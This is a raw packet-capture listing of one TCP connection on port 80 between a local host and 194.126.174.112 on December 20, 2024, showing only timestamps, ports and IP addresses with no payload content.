Dec 20, 2024 17:43:11.901566982 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:11.903980017 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:11.904022932 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:11.904263973 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:11.904309988 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:11.906696081 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:11.906744003 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:11.907006025 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:11.907062054 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:11.909470081 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:11.909533978 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:11.909698009 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:11.909744024 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:11.912014961 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:11.912065029 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:11.912139893 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:11.912182093 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:11.914664030 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:11.914710999 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:11.915709019 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:11.915754080 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:11.917330980 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:11.917391062 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:11.917514086 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:11.917608976 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:11.920051098 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:11.920110941 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:11.920279026 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:11.920330048 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:11.922585011 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:11.922641039 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.049175978 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.049386978 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.049498081 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.049550056 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.049849987 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.049896002 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.049925089 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.049964905 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.052392960 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.052443027 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.052618980 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.052664042 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.054857969 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.054914951 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.055644035 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.055691004 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.057343006 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.057395935 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.057403088 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.057439089 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.059957027 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.060013056 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.060180902 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.060225964 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.062349081 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.062412024 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.062742949 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.062788010 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.064857006 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.064908981 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.065000057 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.065046072 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.067322016 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.067389011 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.067632914 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.067681074 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.069842100 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.069906950 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.070092916 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.070136070 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.072340012 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.072387934 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.072443008 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.072483063 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.074821949 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.074892044 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.075197935 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.075249910 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.077321053 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.077372074 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.077428102 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.077476025 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.079798937 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.079871893 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.080548048 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.080595970 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.082300901 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.082362890 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.082369089 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.082415104 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.084820032 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.084882021 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.084917068 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.084963083 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.087295055 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.087362051 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.087531090 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.087579012 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.089797974 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.089862108 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.090188980 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.090239048 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.092242002 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.092292070 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.092535973 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.092587948 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.094877005 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.094928026 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.094948053 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.094969034 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.097259045 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.097309113 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.097367048 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.097419977 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.099750996 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.099834919 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.099867105 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.099926949 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.102274895 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.102329016 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.102369070 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.102416992 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.104790926 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.104861975 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.105057001 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.105108976 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.107238054 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.107297897 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.107511044 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.107562065 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.109755993 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.109880924 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.109905005 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.109920979 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.112256050 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.112328053 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.112445116 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.112488031 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.114710093 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.114779949 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.114888906 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.114933014 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.117228031 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.117292881 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.117434025 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.117482901 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.119740009 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.119785070 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.119859934 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.119894981 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.122231007 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.122303963 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.122307062 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.122364044 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.124810934 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.124887943 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.125014067 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.125077009 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.127219915 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.127274036 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.128833055 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.128876925 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.129740953 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.129810095 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.130136967 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.130191088 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.132189989 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.132270098 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.132278919 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.132320881 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.134676933 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.134727001 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.134844065 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.134891033 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.137217999 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.137275934 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.137433052 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.137484074 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.139683962 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.139764071 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.139961958 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.140016079 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.142236948 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.142285109 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.142987013 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.143035889 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.144773006 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.144814968 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.144826889 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.144867897 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.147146940 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.147217989 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.147272110 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.147332907 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.149658918 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.149713039 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.149946928 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.149988890 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.152137041 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.152185917 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.152491093 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.152534008 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.154623985 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.154689074 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.155044079 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.155095100 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.157222986 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.157279968 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.157342911 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.157391071 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.159682035 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.159734964 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.159853935 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.159895897 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.162108898 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.162166119 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.162262917 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.162309885 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.164654016 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.164696932 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.164767027 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.164846897 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.167098045 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.167165041 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.167418003 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.167464018 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.169595957 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.169641972 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.244401932 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.244543076 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.244548082 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.244601965 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.245533943 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.245609045 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.246023893 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.246083975 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.247649908 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.247709036 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.248492002 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.248558044 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.248580933 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.248645067 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.250597000 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.250664949 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.251223087 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.251279116 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.252827883 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.252897978 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.252988100 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.253035069 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.254890919 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.254952908 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.255017996 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.255062103 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.256970882 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.257050991 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.258616924 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.258673906 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.258968115 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.259027958 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.259069920 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.259154081 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.261115074 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.261184931 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.261235952 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.261282921 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.262938023 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.262991905 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.263008118 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.263052940 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.264933109 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.264983892 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.265521049 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.265566111 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.266849995 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.266902924 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.266957045 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.266998053 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.268771887 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.268826008 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.268831968 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.268872976 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.270685911 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.270735979 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.270922899 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.270970106 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.272495985 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.272561073 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.272600889 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.272639036 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.274389029 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.274442911 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.274502039 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.274543047 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.276264906 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.276329041 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.276468992 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.276525974 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.278036118 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.278101921 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.278366089 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.278414011 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.279855967 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.279916048 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.280294895 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.280340910 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.281656027 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.281728983 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.281755924 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.281797886 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.283406973 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.283458948 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.284065962 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.284122944 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.285125017 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.285180092 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.285357952 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.285404921 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.286899090 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.286952019 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.286978960 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.287023067 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.289249897 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.289307117 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.289554119 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.289613962 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.290349960 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.290397882 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.290487051 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.290530920 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.292078018 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.292129040 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.292332888 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.292377949 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.293759108 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.293806076 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.294348955 CET	80	49730	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:12.294398069 CET	49730	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:12.295447111 CET	80	49730	194.126.174.112	192.168.2.6
